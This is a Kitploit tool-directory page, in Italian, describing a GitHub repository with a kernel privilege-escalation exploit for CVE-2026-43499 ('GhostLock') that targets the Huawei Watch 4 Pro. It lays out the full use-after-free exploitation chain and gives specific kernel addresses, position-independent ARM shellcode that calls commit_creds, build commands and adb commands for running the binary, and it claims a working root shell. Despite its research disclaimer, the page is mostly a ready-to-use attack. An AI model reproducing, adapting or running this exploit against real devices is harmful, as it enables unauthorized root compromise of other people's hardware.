Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
ghostlock-cve-2026-43499 — CVE-2026-43499 (GhostLock) — Ricerca sull'escalation dei privilegi nel kernel Linux tramite futex PI rt_mutex UAF ARM32, mirata a Huawei Watch 4 Pro (kernel 5.4.210) | Kitploit
Strumenti/GitHubGitHub/gitchw/ghostlock-cve-2026-43499
Sicurezza Sistemi EmbeddedEscalation di PrivilegiSicurezza IoTAnalisi delle VulnerabilitàExploitReverse EngineeringSviluppo PayloadBinary Exploitation

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
gitchw/ghostlock-cve-2026-43499

ghostlock-cve-2026-43499

CVE-2026-43499 (GhostLock) — Ricerca sull'escalation dei privilegi nel kernel Linux tramite futex PI rt_mutex UAF ARM32, mirata a Huawei Watch 4 Pro (kernel 5.4.210)

Vedi Repository
427729 giorni faNon ancora revisionato

CVE-2026-43499 (GhostLock) — Ricerca sull'escalation di privilegi nel kernel ARM32

Ricerca sulla vulnerabilità Use-After-Free di rt_mutex in futex PI del kernel Linux e sviluppo di exploit mirati a Huawei Watch 4 Pro (MDS-AL00), Snapdragon SW5100, armv7l, kernel 5.4.210.

Vulnerabilità

remove_waiter() in kernel/locking/rt_mutex.c utilizza erroneamente current invece di waiter->task durante il rollback del proxy-lock, omettendo di cancellare pi_blocked_on sul task waiter. Ciò lascia un puntatore pendente da task_struct a un rt_mutex_waiter allocato sullo stack dopo che il frame dello stack del kernel del waiter è stato liberato — un classico Use-After-Free sullo stack.

Strategia di exploit

  1. Puntatore pendente — Attivare il rollback EDEADLK tramite futex(FUTEX_CMP_REQUEUE_PI) su tre thread; il pi_blocked_on del waiter punta allo stack liberato.
  2. Stack spray (stamp) — Utilizzare prctl(PR_SET_NAME) (opzione 15, non privilegiata) per copiare 15 byte di dati controllati sullo stack del kernel, sovrascrivendo i campi task/lock/prio del waiter falso.
  3. Primitiva di scrittura — sched_setattr() attiva il percorso della catena PI; il waiter falso viene accodato in un rt_mutex contraffatto che si sovrappone a una struct file_operations del kernel. L'inserimento nell'albero rosso-nero scrive l'indirizzo dello stack del kernel del waiter in fops->unlocked_ioctl.
  4. Esecuzione di codice — Ri-marcare il waiter con shellcode ARM position-independent; aprire un character device accessibile globalmente e chiamare ioctl(), che viene dispatchato attraverso il puntatore unlocked_ioctl sovrascritto nello shellcode sullo stack del kernel eseguibile.
  5. Escalation di privilegi — Lo shellcode chiama commit_creds(waiter) dove i primi campi del waiter (impostati da rb_insert_color) formano una struct cred falsa con uid/gid = 0.

Stato attuale

  • Trigger UAF: funzionante (verificato sul dispositivo)
  • Stack stamp tramite prctl: funzionante
  • Primitiva di scrittura di un singolo indirizzo dello stack del kernel: funzionante (sovrascrive fops->unlocked_ioctl con l'indirizzo dello stack del waiter)
  • Stack del kernel confermato eseguibile (nessun PXN/NX sulla regione BSS/stack)
  • Esecuzione di codice ed escalation a root: funzionante (dispatch tramite ioctl(null_fd, IOCTL_CMD, 0) nello shellcode -> commit_creds(&init_cred) -> shell root)

Dispositivo target

ProprietàValore
DispositivoHuawei Watch 4 Pro (MDS-AL00)
SoCSnapdragon SW5100 (Cortex-A7, armv7l)
Kernel5.4.210 (ARM a 32 bit)
KASLRdisabilitato
PAN/SMAPnon presenti
PXNassente su 0xc1b00000+ (stack/BSS eseguibile)
CFI/PACnon presenti

Indirizzi chiave del kernel

kernel base           0xC0008000
syscall table         0xc0101264
do_vfs_ioctl          0xc031c0ec  (fops->unlocked_ioctl call at 0xc031c8a0)
commit_creds          0xc014c898  (true commit_creds entry)
override_creds        0xc014cac8  (leaf helper immediately following commit_creds)
rt_mutex_enqueue      0xc019c660
rb_insert_color       0xc104a918
init_task             0xc1b11640
init_cred             0xc1b17e60
null_fops (/dev/null) 0xc141f5b0
FAKE_LOCK             0xc141f5d4  (null_fops + 0x24)
write target          0xc141f5d8  (null_fops + 0x28 = unlocked_ioctl)
IOCTL_CMD             0x01B17E60  (INIT_CRED + 0x40000000)

Struttura del repository

.
├── README.md                  # Project documentation
├── boot.img                   # Target device boot image (32 MB)
├── exploit/
│   ├── ghostlock_arm32.c      # Main ARM32 exploit source
│   ├── ghostlock_arm32.h      # Exploit definitions header
│   ├── ghostlock_arm32        # Compiled static ARM binary
│   ├── ghostlock_poc1.c       # Initial crash POC
│   ├── nebula_poc.c           # Nebula team reference POC
│   └── variants/              # Research exploit variants & performance tests
│       ├── ghostlock_v11_kgsl_preadv2.c
│       ├── ghostlock_v6a_kgsl_getdents64.c
│       ├── ghostlock_v7_clock_adjtime.c
│       └── ...
├── kernel/
│   ├── kernel_raw.bin         # Uncompressed kernel binary (28 MB)
│   └── kallsyms_parsed.txt    # Extracted kernel symbol table
├── analysis/                  # Capstone/Keystone-based reverse engineering
│   ├── *.py                   # Disassembly and verification scripts
│   └── *.txt                  # Extracted tables and scan logs
├── references/
│   ├── ghostlock/             # Earlier exploit iterations & research notes
│   ├── ref_tc3650/            # TC3650 ARM32 reference materials
│   └── ref_oneplus_aarch64/   # OnePlus / Oppo AArch64 GhostLock references
└── tools/
    └── fetch_missing.sh       # Zig-based musl toolchain compilation script

Compilazione

Utilizzando GCC o Zig per la cross-compilazione:

# Option A: GCC cross compiler
arm-linux-gnueabihf-gcc -static -O2 -o exploit/ghostlock_arm32 exploit/ghostlock_arm32.c -lpthread

# Option B: Zig compiler
zig cc -target arm-linux-musleabi -O2 -static -o exploit/ghostlock_arm32 exploit/ghostlock_arm32.c -lpthread

Esecuzione

adb push exploit/ghostlock_arm32 /data/local/tmp/
adb shell chmod +x /data/local/tmp/ghostlock_arm32
adb shell /data/local/tmp/ghostlock_arm32

Progettazione dello shellcode

Shellcode ARM position-independent inserito in waiter+0x18:

sub r0, r1, #0x40000000   @ r0 = ioctl cmd - 0x40000000 = &init_cred
ldr pc, [pc, #-4]         @ jump to commit_creds
.word 0xc014c898          @ true commit_creds entry
  • Quando ioctl(null_fd, cmd, arg) esegue il dispatch di f_op->unlocked_ioctl(filp, cmd, arg), il registro r1 contiene l'argomento cmd.
  • Impostando cmd = 0x01B17E60, sub r0, r1, #0x40000000 (codifica 0xe2410101, zero byte nulli) calcola r0 = 0xc1b17e60 (&init_cred).
  • commit_creds(&init_cred) installa le credenziali root con tutte le capability e un contesto di sicurezza SELinux pulito, ritornando correttamente a do_vfs_ioctl (lr = 0xc031c8c0).

Nota sul layout di file_operations

La struct file_operations di questo kernel del fornitore presenta un campo extra di 4 byte all'offset +0x24 (tra poll e unlocked_ioctl), che sposta tutti i membri successivi di 4 byte rispetto al Linux 5.4 standard:

+0x04 llseek        +0x20 poll
+0x08 read          +0x24 <vendor extra>
+0x0c write         +0x28 unlocked_ioctl
+0x10 read_iter     +0x2c compat_ioctl
+0x14 write_iter    +0x30 mmap
+0x18 iterate       +0x38 open
+0x1c iterate_shared +0x40 release

Questo è stato verificato disassemblando i gestori ashmem e null fops.

Disclaimer

Questo repository è destinato esclusivamente alla ricerca sulla sicurezza e all'istruzione. Non utilizzare queste tecniche su dispositivi di cui non si è proprietari o per i quali non si dispone dell'autorizzazione a eseguire test.

Scarica lo strumento